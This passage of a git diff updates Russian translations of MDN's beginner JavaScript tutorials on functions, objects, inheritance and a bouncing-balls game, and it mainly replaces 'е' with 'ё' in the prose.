на </font></font><a class="external external-icon" href="https://wiki.mozilla.org/IRC"><font><font>Mozilla IRC</font></font></a><font><font>. </font><font>Расскажите нам, какая</font><font> у вас ошибка, и мы постараемся вам помочь. </font><font>Приложите пример своего кода для большей ясности проблемы.</font></font></li> </ul> </div> diff --git a/files/ru/learn/javascript/howto/index.html b/files/ru/learn/javascript/howto/index.html index 7286c9789f..5593d433c0 100644 --- a/files/ru/learn/javascript/howto/index.html +++ b/files/ru/learn/javascript/howto/index.html @@ -71,7 +71,7 @@ translation_of: Learn/JavaScript/Howto <p>Есть ряд вещей, которые могут пойти не так с функциями.</p> -<p>Одна из наиболее распространенных ошибок - объявить функцию, но не называть ее нигде. Например</p> +<p>Одна из наиболее распространённых ошибок - объявить функцию, но не называть её нигде. Например</p> <p>:</p> @@ -79,7 +79,7 @@ translation_of: Learn/JavaScript/Howto alert('This is my function.'); };</pre> -<p>Этот код ничего не сделает, если вы его не назовете, например</p> +<p>Этот код ничего не сделает, если вы его не назовёте, например</p> <pre class="brush: js">myFunction();</pre> @@ -93,7 +93,7 @@ translation_of: Learn/JavaScript/Howto <p>Помните также, что когда вы возвращаете значение из функции, интерпретатор JavaScript выходит из функции - никакой код после выполнения оператора return не выполняется.</p> -<p>Фактически, некоторые браузеры (например, Firefox) выдадут вам сообщение об ошибке в консоли разработчика, если у вас есть код после оператора return. Firefox дает вам «недостижимый код после оператора возврата».</p> +<p>Фактически, некоторые браузеры (например, Firefox) выдадут вам сообщение об ошибке в консоли разработчика, если у вас есть код после оператора return. Firefox даёт вам «недостижимый код после оператора возврата».</p> <p> </p> diff --git a/files/ru/learn/javascript/index.html b/files/ru/learn/javascript/index.html index 586c33a969..4e58a5299e 100644 --- a/files/ru/learn/javascript/index.html +++ b/files/ru/learn/javascript/index.html @@ -27,7 +27,7 @@ translation_of: Learn/JavaScript <p>После изучения основ JavaScript вы будете готовы к ознакомлению с более сложными темами, например:</p> <ul> - <li>Углубленный курс JavaScript, изложенный в нашем <a href="/ru/docs/Web/JavaScript/Guide">Руководстве по JavaScript</a></li> + <li>Углублённый курс JavaScript, изложенный в нашем <a href="/ru/docs/Web/JavaScript/Guide">Руководстве по JavaScript</a></li> <li><a href="/ru/docs/Web/API">Программный интерфейс WebAPI</a></li> </ul> @@ -37,7 +37,7 @@ translation_of: Learn/JavaScript <dl> <dt><a href="/ru/docs/Learn/JavaScript/Первые_шаги">Первые шаги в JavaScript</a></dt> - <dd>В нашем первом модуле, посвященном JavaScript, мы сначала ответим на несколько главных вопросов, таких, как "Что такое JavaScript?", "На что он похож?" и "Что с его помощью можно сделать?", а затем перейдем к практике - расскажем, как писать и выполнять код на JavaScript. После чего подробнее рассмотрим некоторые ключевые конструкции JavaScript: переменные, строки, числа и массивы.</dd> + <dd>В нашем первом модуле, посвящённом JavaScript, мы сначала ответим на несколько главных вопросов, таких, как "Что такое JavaScript?", "На что он похож?" и "Что с его помощью можно сделать?", а затем перейдём к практике - расскажем, как писать и выполнять код на JavaScript. После чего подробнее рассмотрим некоторые ключевые конструкции JavaScript: переменные, строки, числа и массивы.</dd> <dt><a href="/ru/docs/Learn/JavaScript/Building_blocks">Структурные элементы JavaScript</a></dt> <dd>В этом модуле мы продолжим изучение главных составных частей JavaScript и обратим внимание на повсеместно встречающиеся типы конструкций: условные операторы, циклы, функции и события. В ходе обучения Вы уже сталкивались с ними, но только мимоходом. Теперь мы поговорим именно о них.</dd> <dt><a href="/ru/docs/Learn/JavaScript/Объекты">Введение в объекты JavaScript</a></dt> diff --git a/files/ru/learn/javascript/objects/adding_bouncing_balls_features/index.html b/files/ru/learn/javascript/objects/adding_bouncing_balls_features/index.html index c8d163e325..0ce0f94ca1 100644 --- a/files/ru/learn/javascript/objects/adding_bouncing_balls_features/index.html +++ b/files/ru/learn/javascript/objects/adding_bouncing_balls_features/index.html @@ -35,9 +35,9 @@ original_slug: Learn/JavaScript/Объекты/Adding_bouncing_balls_features <h2 id="Краткое_описание_проекта">Краткое описание проекта</h2> -<p>Наша веселая демонстрация шаров - это весело, но теперь мы хотим сделать ее немного более интерактивной, добавив контролируемый пользователем злой круг, который будет есть шары, если он их поймает. Мы также хотим проверить ваши навыки создания объектов, создав общий объект <code>Shape()</code>, который могут наследовать наши шары и злой круг. Наконец, мы хотим добавить счетчик очков, чтобы отслеживать количество оставшихся шаров для захвата.</p> +<p>Наша весёлая демонстрация шаров - это весело, но теперь мы хотим сделать её немного более интерактивной, добавив контролируемый пользователем злой круг, который будет есть шары, если он их поймает. Мы также хотим проверить ваши навыки создания объектов, создав общий объект <code>Shape()</code>, который могут наследовать наши шары и злой круг. Наконец, мы хотим добавить счётчик очков, чтобы отслеживать количество оставшихся шаров для захвата.</p> -<p>Следующий скриншот дает вам представление о том, как должна выглядеть готовая программа:</p> +<p>Следующий скриншот даёт вам представление о том, как должна выглядеть готовая программа:</p> <p><img alt="" src="https://mdn.mozillademos.org/files/13875/bouncing-evil-circle.png" style="display: block; margin: 0 auto;"></p> @@ -70,7 +70,7 @@ original_slug: Learn/JavaScript/Объекты/Adding_bouncing_balls_features <h3 id="Определение_EvilCircle">Определение EvilCircle()</h3> -<p>Теперь пришло время встретить плохого парня - <code>EvilCircle()</code>! Наша игра будет включать только один злой круг, но мы все еще будем определять его с помощью конструктора, который наследует от <code>Shape()</code>, чтобы дать вам некоторую практику. Возможно, вам захочется добавить еще один круг в приложение, которое может контролироваться другим игроком или иметь несколько злобных окружений, управляемых компьютером. Вы, вероятно, не собираетесь захватить мир одним злым кругом, но он будет делать для этой оценки.</p> +<p>Теперь пришло время встретить плохого парня - <code>EvilCircle()</code>! Наша игра будет включать только один злой круг, но мы все ещё будем определять его с помощью конструктора, который наследует от <code>Shape()</code>, чтобы дать вам некоторую практику. Возможно, вам захочется добавить ещё один круг в приложение, которое может контролироваться другим игроком или иметь несколько злобных окружений, управляемых компьютером. Вы, вероятно, не собираетесь захватить мир одним злым кругом, но он будет делать для этой оценки.</p> <p>Конструктор <code>EvilCircle()</code> должен наследовать <code>x</code>, <code>y</code>, <code>velX</code>, <code>velY</code> и <code>exists</code> из <code>Shape()</code>, но <code>velX</code> и <code>velY</code> должны всегда равняться 20.</p> @@ -109,7 +109,7 @@ original_slug: Learn/JavaScript/Объекты/Adding_bouncing_balls_features <h4 id="setControls"><code>setControls()</code></h4> -<p>Этот метод добавит обработчик событий <code>onkeydown</code> к объекту <code>window</code>, чтобы при нажатии определенных клавиш клавиатуры мы могли перемещать злой круг вокруг. Следующий код должен быть помещен внутри определения метода:</p> +<p>Этот метод добавит обработчик событий <code>onkeydown</code> к объекту <code>window</code>, чтобы при нажатии определённых клавиш клавиатуры мы могли перемещать злой круг вокруг. Следующий код должен быть помещён внутри определения метода:</p> <pre class="brush: js">var _this = this; window.onkeydown = function(e) { @@ -124,7 +124,7 @@ window.onkeydown = function(e) { } }</pre> -<p>Поэтому, когда нажата клавиша, проконсультируется о свойствах <a href="https://developer.mozilla.org/en-US/docs/Web/API/KeyboardEvent/keyCode">keyCode</a> объекта события, чтобы увидеть, какая клавиша нажата. Если это один из четырех, представленных указанными ключевыми кодами, тогда злой круг будет перемещаться влево / вправо / вверх / вниз.</p> +<p>Поэтому, когда нажата клавиша, проконсультируется о свойствах <a href="https://developer.mozilla.org/en-US/docs/Web/API/KeyboardEvent/keyCode">keyCode</a> объекта события, чтобы увидеть, какая клавиша нажата. Если это один из четырёх, представленных указанными ключевыми кодами, тогда злой круг будет перемещаться влево / вправо / вверх / вниз.</p> <ul> <li>Для бонусного пункта сообщите нам, к каким ключам относятся указанные коды ключей.</li> @@ -150,12 +150,12 @@ window.onkeydown = function(e) { <li>На каждой итерации цикла вызовите методы draw <code>draw()</code>, <code>checkBounds()</code> и <code>collisionDetect()</code> для злого шарика.</li> </ul> -<h3 id="Реализация_счетчика_баллов">Реализация счетчика баллов</h3> +<h3 id="Реализация_счётчика_баллов">Реализация счётчика баллов</h3> -<p>Чтобы выполнить счетчик счетчиков, выполните следующие действия:</p> +<p>Чтобы выполнить счётчик счётчиков, выполните следующие действия:</p> <ol> - <li>В своем HTML-файле добавьте элемент {{HTMLElement ("p")}} непосредственно под элементом {{HTMLElement ("h1")}}, содержащим текст «Ball count:».</li> + <li>В своём HTML-файле добавьте элемент {{HTMLElement ("p")}} непосредственно под элементом {{HTMLElement ("h1")}}, содержащим текст «Ball count:».</li> <li>В вашем файле CSS добавьте следующее правило внизу: <pre class="brush: css">p { position: absolute; @@ -165,12 +165,12 @@ window.onkeydown = function(e) { color: #aaa; }</pre> </li> - <li>В своем JavaScript сделайте следующие обновления: + <li>В своём JavaScript сделайте следующие обновления: <ul> <li>Создайте переменную, которая хранит ссылку на абзац.</li> - <li>Держите подсчет количества шаров на экране в некотором роде.</li> - <li>Увеличьте количество и покажите обновленное количество шаров каждый раз, когда шар добавляется в сцену.</li> - <li>Уменьшите счет и покажите обновленное количество мячей каждый раз, когда злой круг ест шарик (его не существует).</li> + <li>Держите подсчёт количества шаров на экране в некотором роде.</li> + <li>Увеличьте количество и покажите обновлённое количество шаров каждый раз, когда шар добавляется в сцену.</li> + <li>Уменьшите счёт и покажите обновлённое количество мячей каждый раз, когда злой круг ест шарик (его не существует).</li> </ul> </li> </ol> diff --git a/files/ru/learn/javascript/objects/basics/index.html b/files/ru/learn/javascript/objects/basics/index.html index 7a95127d35..13ee54b7c3 100644 --- a/files/ru/learn/javascript/objects/basics/index.html +++ b/files/ru/learn/javascript/objects/basics/index.html @@ -68,7 +68,7 @@ person.greeting()</pre> <p>Теперь внутри объекта есть некоторые данные и функционал, и теперь можно получить доступ к ним с помощью некоторого лёгкого и простого синтаксиса!</p> <div class="note"> -<p><strong>Примечание</strong>: Если у вас возникли проблемы с применением файла в работе, попробуйте сравнить ваш код с нашей версией — см. <a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/introduction/oojs-finished.html">oojs-finished.html</a> (также <a href="http://mdn.github.io/learning-area/javascript/oojs/introduction/oojs-finished.html">see it running live</a>). Одна из распространенных ошибок, когда Вы начинаете с объектами ставить запятую в конце последнего члена — это приводит к ошибке.</p> +<p><strong>Примечание</strong>: Если у вас возникли проблемы с применением файла в работе, попробуйте сравнить ваш код с нашей версией — см. <a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/introduction/oojs-finished.html">oojs-finished.html</a> (также <a href="http://mdn.github.io/learning-area/javascript/oojs/introduction/oojs-finished.html">see it running live</a>). Одна из распространённых ошибок, когда Вы начинаете с объектами ставить запятую в конце последнего члена — это приводит к ошибке.</p> </div> <p>Итак что здесь происходит? Объект состоит из нескольких элементов, каждый из которых имеет своё название (пример <code>name</code> и <code>age</code> выше), и значение (пример <code>['Bob', 'Smith']</code> и <code>32</code>). Каждая пара название/значение должны быть разделены запятой, а название и значение в каждом случае разделяются двоеточием. Синтаксис всегда следует этому образцу:</p> @@ -87,13 +87,13 @@ person.greeting()</pre> <h2 id="Точечная_запись_Dot_notation">Точечная запись (Dot notation)</h2> -<p>Выше Вы получили доступ к свойствам и методам используя <strong>точечную запись (dot notation). </strong>Имя объекта (person) действует как <strong>пространство имен (namespace) </strong>— оно должно быть введено первым, для того чтобы получить доступ ко всему что заключено (<strong>encapsulated)</strong> внутри объекта. Далее Вы пишете точку, затем элемент, к которому хотите получить доступ — это может быть имя простого свойства, элемент массива, или вызов одного из методов объекта, например:</p> +<p>Выше Вы получили доступ к свойствам и методам используя <strong>точечную запись (dot notation). </strong>Имя объекта (person) действует как <strong>пространство имён (namespace) </strong>— оно должно быть введено первым, для того чтобы получить доступ ко всему что заключено (<strong>encapsulated)</strong> внутри объекта. Далее Вы пишете точку, затем элемент, к которому хотите получить доступ — это может быть имя простого свойства, элемент массива, или вызов одного из методов объекта, например:</p> <pre class="brush: js notranslate">person.age person.interests[1] person.bio()</pre> -<h3 id="Внутренние_пространства_имен_Sub-namespaces">Внутренние пространства имен (Sub-namespaces)</h3> +<h3 id="Внутренние_пространства_имён_Sub-namespaces">Внутренние пространства имён (Sub-namespaces)</h3> <p>Можно даже сделать значением элемента объекта другой объект. Например, попробуйте изменить значение свойства name с такого</p> @@ -106,7 +106,7 @@ person.bio()</pre> last: 'Smith' },</pre> -<p>Здесь мы фактически создаем <strong>внутреннее пространство имен (sub-namespace). </strong>Это звучит сложно, но на самом деле это не так — для доступа к этим элементам Вам нужно сделать один дополнительный шаг с еще одной точкой. Попробуйте в консоли браузера следующее: </p> +<p>Здесь мы фактически создаём <strong>внутреннее пространство имён (sub-namespace). </strong>Это звучит сложно, но на самом деле это не так — для доступа к этим элементам Вам нужно сделать один дополнительный шаг с ещё одной точкой. Попробуйте в консоли браузера следующее: </p> <pre class="brush: js notranslate">person.name.first person.name.last</pre> @@ -159,7 +159,7 @@ person.farewell = function() { alert("Bye everybody!"); }</pre> <pre class="brush: js notranslate">person['eyes'] person.farewell()</pre> -<p>Одним из полезных аспектов скобочной записи является то, что с ее помощью можно динамически задавать не только значения элементов, но и их имена. Предположим, что мы хотим, чтобы пользователи могли хранить пользовательские типы данных, введя имя и значение элемента в два следующих поля? Мы могли бы получить эти значения следующим образом:</p> +<p>Одним из полезных аспектов скобочной записи является то, что с её помощью можно динамически задавать не только значения элементов, но и их имена. Предположим, что мы хотим, чтобы пользователи могли хранить пользовательские типы данных, введя имя и значение элемента в два следующих поля? Мы могли бы получить эти значения следующим образом:</p> <pre class="brush: js notranslate">let myDataName = nameInput.value; let myDataValue = nameValue.value;</pre> @@ -188,9 +188,9 @@ person[myDataName] = myDataValue;</pre> alert('Hi! I\'m ' + this.name.first + '.'); }</pre> -<p>Вы, вероятно, задаетесь вопросом, что такое "this"? Ключевое слово <code>this</code>, ссылается на текущий объект, внутри которого пишется код — поэтому в нашем случае <code>this</code> равен объекту <code>person</code>. Но почему просто не написать <code>person</code>? Как Вы увидите в статье <a href="/en-US/docs/Learn/JavaScript/Objects/Object-oriented_JS">Object-oriented JavaScript for beginners</a> (Объектно-ориентированный JavaScript для начинающих), когда мы начинаем создавать конструкторы и т.д., <code>this</code> очень полезен — он всегда будет гарантировать, что используется верное значение, когда контекст элемента изменяется (например, два разных экземпляра объекта <code>person</code> могут иметь разные имена, но захотят использовать свое собственное имя при приветствии.</p> +<p>Вы, вероятно, задаётесь вопросом, что такое "this"? Ключевое слово <code>this</code>, ссылается на текущий объект, внутри которого пишется код — поэтому в нашем случае <code>this</code> равен объекту <code>person</code>. Но почему просто не написать <code>person</code>? Как Вы увидите в статье <a href="/en-US/docs/Learn/JavaScript/Objects/Object-oriented_JS">Object-oriented JavaScript for beginners</a> (Объектно-ориентированный JavaScript для начинающих), когда мы начинаем создавать конструкторы и т.д., <code>this</code> очень полезен — он всегда будет гарантировать, что используется верное значение, когда контекст элемента изменяется (например, два разных экземпляра объекта <code>person</code> могут иметь разные имена, но захотят использовать своё собственное имя при приветствии.</p> -<p>Давайте проиллюстрируем, что мы имеем в виду, с упрощенной парой объектов <code>person</code> :</p> +<p>Давайте проиллюстрируем, что мы имеем в виду, с упрощённой парой объектов <code>person</code> :</p> <pre class="brush: js notranslate">const person1 = { name: 'Chris', @@ -210,20 +210,20 @@ const person2 = { <h2 id="Все_это_время_вы_использовали_объекты">Все это время вы использовали объекты</h2> -<p>Пока Вы проходили эти примеры, Вы вероятно заметили, что точечная запись, которую Вы использовали, выглядит очень знакомо. Это потому, что Вы использовали ее на протяжении всего курса! Каждый раз, когда мы работаем над примером, использующим встроенный API браузера или объект JavaScript, мы использовали объекты, потому что такие функции построены с использованием тех же структур объектов, которые мы здесь рассматривали, хотя и более сложные, чем наши собственные пользовательские примеры. </p> +<p>Пока Вы проходили эти примеры, Вы вероятно заметили, что точечная запись, которую Вы использовали, выглядит очень знакомо. Это потому, что Вы использовали её на протяжении всего курса! Каждый раз, когда мы работаем над примером, использующим встроенный API браузера или объект JavaScript, мы использовали объекты, потому что такие функции построены с использованием тех же структур объектов, которые мы здесь рассматривали, хотя и более сложные, чем наши собственные пользовательские примеры. </p> <p>Поэтому, когда Вы использовали строковые методы, такие как:</p> <pre class="brush: js notranslate">myString.split(',');</pre> -<p>Вы использовали метод доступный в экземпляре класса <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/String">String</a></code>. Каждый раз создавая строку в вашем коде, эта строка автоматически создается как экземпляр <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/String">String</a></code>, и поэтому имеет несколько общих методов/свойств, доступных на нем.</p> +<p>Вы использовали метод доступный в экземпляре класса <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/String">String</a></code>. Каждый раз создавая строку в вашем коде, эта строка автоматически создаётся как экземпляр <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/String">String</a></code>, и поэтому имеет несколько общих методов/свойств, доступных на нем.</p> <p>Когда Вы обращались к объектной модели документа (DOM), используя следующие строки:</p> <pre class="brush: js notranslate">const myDiv = document.createElement('div'); const myVideo = document.querySelector('video');</pre> -<p>Вы использовали методы доступные в экземпляре класса <code><a href="/en-US/docs/Web/API/Document">Document</a></code>. Для каждой загруженной веб-страницы создается экземпляр <code><a href="/en-US/docs/Web/API/Document">Document</a></code>, называемый <code>document</code>, который представляет всю структуру страницы, ее содержимое и другие функции, такие как URL-адрес. Опять же, это означает, что он имеет несколько общих методов/свойств, доступных на нем.</p> +<p>Вы использовали методы доступные в экземпляре класса <code><a href="/en-US/docs/Web/API/Document">Document</a></code>. Для каждой загруженной веб-страницы создаётся экземпляр <code><a href="/en-US/docs/Web/API/Document">Document</a></code>, называемый <code>document</code>, который представляет всю структуру страницы, её содержимое и другие функции, такие как URL-адрес. Опять же, это означает, что он имеет несколько общих методов/свойств, доступных на нем.</p> <p>То же самое относится и к любому другому встроенному объекту/API, который вы использовали — <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array">Array</a></code>, <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math">Math</a></code>, и т. д.</p> @@ -234,14 +234,14 @@ const myVideo = document.querySelector('video');</pre> <p>Опять же, мы рассмотрим конструкторы в следующей статье.</p> <div class="note"> -<p><strong>Примечание</strong>: Полезно подумать о том, как объекты взаимодействуют посредством передачи сообщений - когда объекту требуется другой объект для выполнения какого-либо действия, он часто отправляет сообщение другому объекту через один из его методов и ждет ответа, который мы знаем как возвращаемое (return) значение.</p> +<p><strong>Примечание</strong>: Полезно подумать о том, как объекты взаимодействуют посредством передачи сообщений - когда объекту требуется другой объект для выполнения какого-либо действия, он часто отправляет сообщение другому объекту через один из его методов и ждёт ответа, который мы знаем как возвращаемое (return) значение.</p> </div> <h2 id="Резюме">Резюме</h2> -<p>Поздравляем, Вы достигли конца нашей первой статьи о объектах JS, теперь у вас должно быть хорошее представление о том, как работать с объектами в JavaScript - в том числе создавать свои собственные простые объекты. Вы также должны понимать, что объекты очень полезны в качестве структур для хранения связанных данных и функциональности - если бы мы пытались отслеживать все свойства и методы в нашем объекте <code>person</code> как отдельные переменные и функции, это было неэффективно, и мы бы рисковали столкнуться с другими переменными и функциями с такими же именами. Объекты позволяют нам безопасно хранить информацию в своем собственном блоке, вне опасности.</p> +<p>Поздравляем, Вы достигли конца нашей первой статьи о объектах JS, теперь у вас должно быть хорошее представление о том, как работать с объектами в JavaScript - в том числе создавать свои собственные простые объекты. Вы также должны понимать, что объекты очень полезны в качестве структур для хранения связанных данных и функциональности - если бы мы пытались отслеживать все свойства и методы в нашем объекте <code>person</code> как отдельные переменные и функции, это было неэффективно, и мы бы рисковали столкнуться с другими переменными и функциями с такими же именами. Объекты позволяют нам безопасно хранить информацию в своём собственном блоке, вне опасности.</p> -<p>В следующей статье мы начнем рассматривать теорию объектно-ориентированного программирования (ООП) и как эти техники могут быть использованы в JavaScript </p> +<p>В следующей статье мы начнём рассматривать теорию объектно-ориентированного программирования (ООП) и как эти техники могут быть использованы в JavaScript </p> <p>{{NextMenu("Learn/JavaScript/Objects/Object-oriented_JS", "Learn/JavaScript/Objects")}}</p> diff --git a/files/ru/learn/javascript/objects/index.html b/files/ru/learn/javascript/objects/index.html index d01087d4c7..95c04eb7ea 100644 --- a/files/ru/learn/javascript/objects/index.html +++ b/files/ru/learn/javascript/objects/index.html @@ -11,7 +11,7 @@ original_slug: Learn/JavaScript/Объекты --- <div>{{LearnSidebar}}</div> -<p class="summary">В JavaScript большинство сущностей являются объектами, начиная с самого основного функционала JavaScript, такого как строки (strings) и массивы (array), и заканчивая встроенными в браузер API. Вы можете даже создавать свои собственные объекты, чтобы инкапсулировать связанные между собой функции и переменные в эффективные пакеты и действовать как удобные хранилища данных. Понимание объектно-ориентированной природы JavaScript очень важно, если Вы хотите продолжить дальнейшее более углубленное изучение языка. Поэтому мы предоставляем Вам данный модуль, чтобы помочь Вам разобраться в этом. Здесь мы детально обучим Вас теории и синтаксису объектов, а затем рассмотрим, как создавать свои собственные объекты. </p> +<p class="summary">В JavaScript большинство сущностей являются объектами, начиная с самого основного функционала JavaScript, такого как строки (strings) и массивы (array), и заканчивая встроенными в браузер API. Вы можете даже создавать свои собственные объекты, чтобы инкапсулировать связанные между собой функции и переменные в эффективные пакеты и действовать как удобные хранилища данных. Понимание объектно-ориентированной природы JavaScript очень важно, если Вы хотите продолжить дальнейшее более углублённое изучение языка. Поэтому мы предоставляем Вам данный модуль, чтобы помочь Вам разобраться в этом. Здесь мы детально обучим Вас теории и синтаксису объектов, а затем рассмотрим, как создавать свои собственные объекты. </p> <h2 id="Необходимые_знания">Необходимые знания</h2> @@ -37,7 +37,7 @@ original_slug: Learn/JavaScript/Объекты <dt><a href="/en-US/docs/Learn/JavaScript/Objects/JSON">Работа с JSON-данными</a></dt> <dd>Представление объектов в JavaScript (JavaScript Object Notation) (JSON) - это стандартный формат для представления структурированных данных в виде объектов JavaScript, который обычно используется для представления и передачи данных на веб-сайтах (т.е. передача некоторых данных от сервера к клиенту - таким образом они могут быть отображены на веб-странице). Вы довольно часто будете с этим сталкиваться, поэтому в данной статье мы предоставим вам все, что необходимо для работы с JSON с помощью JavaScript, в том числе доступ к элементам данных в объекте JSON и написания собственного JSON-кода.</dd> <dt><a href="/en-US/docs/Learn/JavaScript/Objects/Object_building_practice">Практика построения объектов</a></dt> - <dd>В предыдущих статьях мы рассматривали самые основные моменты в теории и синтаксисе объектов в JavaScript, дав Вам твердую основу для начала. В этой статье мы погрузимся в практические занятия, получим больше практической работы в построении собственных объектов в JavaScript, чтобы сделать кое-что веселое и красочное - несколько цветных прыгающих шариков.</dd> + <dd>В предыдущих статьях мы рассматривали самые основные моменты в теории и синтаксисе объектов в JavaScript, дав Вам твёрдую основу для начала. В этой статье мы погрузимся в практические занятия, получим больше практической работы в построении собственных объектов в JavaScript, чтобы сделать кое-что весёлое и красочное - несколько цветных прыгающих шариков.</dd> </dl> <h2 id="Задания">Задания</h2> diff --git a/files/ru/learn/javascript/objects/inheritance/index.html b/files/ru/learn/javascript/objects/inheritance/index.html index 35e6f4a4df..174f7e0f3a 100644 --- a/files/ru/learn/javascript/objects/inheritance/index.html +++ b/files/ru/learn/javascript/objects/inheritance/index.html @@ -55,7 +55,7 @@ original_slug: Learn/JavaScript/Объекты/Inheritance <h2 id="Начало_работы">Начало работы</h2> -<p>Прежде всего сделайте себе локальную копию нашего файла <a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/advanced/oojs-class-inheritance-start.html">oojs-class-inheritance-start.html</a> (он также работает <a href="https://mdn.github.io/learning-area/javascript/oojs/advanced/oojs-class-inheritance-start.html">в режиме реального времени</a>). В файле вы найдете тот же пример конструктора <code>Person()</code>, который мы использовали на протяжении всего модуля, с небольшим отличием - мы определили внутри конструктора только лишь свойства:</p> +<p>Прежде всего сделайте себе локальную копию нашего файла <a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/advanced/oojs-class-inheritance-start.html">oojs-class-inheritance-start.html</a> (он также работает <a href="https://mdn.github.io/learning-area/javascript/oojs/advanced/oojs-class-inheritance-start.html">в режиме реального времени</a>). В файле вы найдёте тот же пример конструктора <code>Person()</code>, который мы использовали на протяжении всего модуля, с небольшим отличием - мы определили внутри конструктора только лишь свойства:</p> <pre class="brush: js notranslate">function Person(first, last, age, gender, interests) { this.name = { @@ -74,14 +74,14 @@ original_slug: Learn/JavaScript/Объекты/Inheritance };</pre> <div class="note"> -<p><strong>Примечание</strong>. В исходном коде вы также увидите определенные методы <code>bio()</code> и <code>farewell()</code>. Позже вы увидите, как они могут быть унаследованы другими конструкторами.</p> +<p><strong>Примечание</strong>. В исходном коде вы также увидите определённые методы <code>bio()</code> и <code>farewell()</code>. Позже вы увидите, как они могут быть унаследованы другими конструкторами.</p> </div> <p>Скажем так, мы хотели создать класс <code>Teacher</code>, подобный тому, который мы описали в нашем первоначальном объектно-ориентированном определении, которое наследует всех членов от <code>Person</code>, но также включает в себя:</p> <ol> - <li>Новое свойство, <code>subject</code> - оно будет содержать предмет, который преподает учитель.</li> - <li>Обновленный метод <code>greeting()</code>, который звучит немного более формально, чем стандартный метод <code>greeting()</code>— более подходит для учителя, обращающегося к некоторым ученикам в школе.</li> + <li>Новое свойство, <code>subject</code> - оно будет содержать предмет, который преподаёт учитель.</li> + <li>Обновлённый метод <code>greeting()</code>, который звучит немного более формально, чем стандартный метод <code>greeting()</code>— более подходит для учителя, обращающегося к некоторым ученикам в школе.</li> </ol> <h2 id="Определение_функции-конструктора_Teacher">Определение функции-конструктора Teacher()</h2> @@ -94,7 +94,7 @@ original_slug: Learn/JavaScript/Объекты/Inheritance this.subject = subject; }</pre> -<p>Это похоже на конструктор Person во многих отношениях, но здесь есть что-то странное, что мы не видели раньше - функцию <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/call">call()</a></code>. Эта функция в основном позволяет вам вызывать функцию, определенную где-то в другом месте, но в текущем контексте. Первый параметр указывает значение <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/this">this</a></code>, которое вы хотите использовать при выполнении функции, а остальные параметры - те, которые должны быть переданы функции при ее вызове.</p> +<p>Это похоже на конструктор Person во многих отношениях, но здесь есть что-то странное, что мы не видели раньше - функцию <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/call">call()</a></code>. Эта функция в основном позволяет вам вызывать функцию, определённую где-то в другом месте, но в текущем контексте. Первый параметр указывает значение <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/this">this</a></code>, которое вы хотите использовать при выполнении функции, а остальные параметры - те, которые должны быть переданы функции при её вызове.</p> <p>Мы хотим, чтобы конструктор <code>Teacher()</code> принимал те же параметры, что и конструктор <code>Person()</code>, от которого он наследуется, поэтому мы указываем их как параметры в вызове <code>call()</code>.</p> @@ -137,13 +137,13 @@ original_slug: Learn/JavaScript/Объекты/Inheritance <h2 id="Установка_Teachers_prototype_и_конструктор_ссылок">Установка Teacher()'s prototype и конструктор ссылок</h2> -<p>Пока все хорошо, но у нас есть проблема. Мы определили новый конструктор и у него есть свойство <code>prototype</code>, которое по умолчанию просто содержит ссылку на саму конструкторскую функцию. Он не содержит методов свойства <code>prototype</code> конструктора <code>Person</code>. Чтобы увидеть это, введите <code>Object.getOwnPropertyNames(Teacher.prototype)</code> в поле ввода текста или в вашу консоль JavaScript. Затем введите его снова, заменив <code>Teacher</code> на <code>Person</code>. Новый конструктор <em>не наследует</em> эти методы. Чтобы увидеть это, сравните выводы в консоль <code>Person.prototype.greeting</code> и <code>Teacher.prototype.greeting</code>. Нам нужно заставить <code>Teacher()</code> наследовать методы, определенные на прототипе <code>Person()</code>. Итак, как мы это делаем?</p> +<p>Пока все хорошо, но у нас есть проблема. Мы определили новый конструктор и у него есть свойство <code>prototype</code>, которое по умолчанию просто содержит ссылку на саму конструкторскую функцию. Он не содержит методов свойства <code>prototype</code> конструктора <code>Person</code>. Чтобы увидеть это, введите <code>Object.getOwnPropertyNames(Teacher.prototype)</code> в поле ввода текста или в вашу консоль JavaScript. Затем введите его снова, заменив <code>Teacher</code> на <code>Person</code>. Новый конструктор <em>не наследует</em> эти методы. Чтобы увидеть это, сравните выводы в консоль <code>Person.prototype.greeting</code> и <code>Teacher.prototype.greeting</code>. Нам нужно заставить <code>Teacher()</code> наследовать методы, определённые на прототипе <code>Person()</code>. Итак, как мы это делаем?</p> <ol> <li>Добавьте следующую строку ниже своего предыдущего добавления: <pre class="brush: js notranslate">Teacher.prototype = Object.create(Person.prototype);</pre> Здесь наш друг <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/create">create()</a></code> снова приходит на помощь. В этом случае мы используем его для создания нового объекта и делаем его значением <code>Teacher.prototype</code>. Новый объект имеет свой прототип <code>Person.prototype</code> и, следовательно, наследует, если и когда это необходимо, все доступные методы <code>Person.prototype</code>.</li> - <li>Нам нужно сделать еще одну вещь, прежде чем двигаться дальше. После добавления последней строки, <code>Teacher.prototype.constructor</code> стало равным <code>Person()</code>, потому что мы просто устанавливаем <code>Teacher.prototype</code> для ссылки на объект, который наследует его свойства от <code>Person.prototype</code>! Попробуйте сохранить код, загрузите страницу в браузере и введите <code>Teacher.prototype.constructor</code> в консоль для проверки.</li> + <li>Нам нужно сделать ещё одну вещь, прежде чем двигаться дальше. После добавления последней строки, <code>Teacher.prototype.constructor</code> стало равным <code>Person()</code>, потому что мы просто устанавливаем <code>Teacher.prototype</code> для ссылки на объект, который наследует его свойства от <code>Person.prototype</code>! Попробуйте сохранить код, загрузите страницу в браузере и введите <code>Teacher.prototype.constructor</code> в консоль для проверки.</li> <li>Это может стать проблемой, поэтому нам нужно сделать это правильно. Вы можете сделать это, вернувшись к исходному коду и добавив следующие строки внизу: <pre 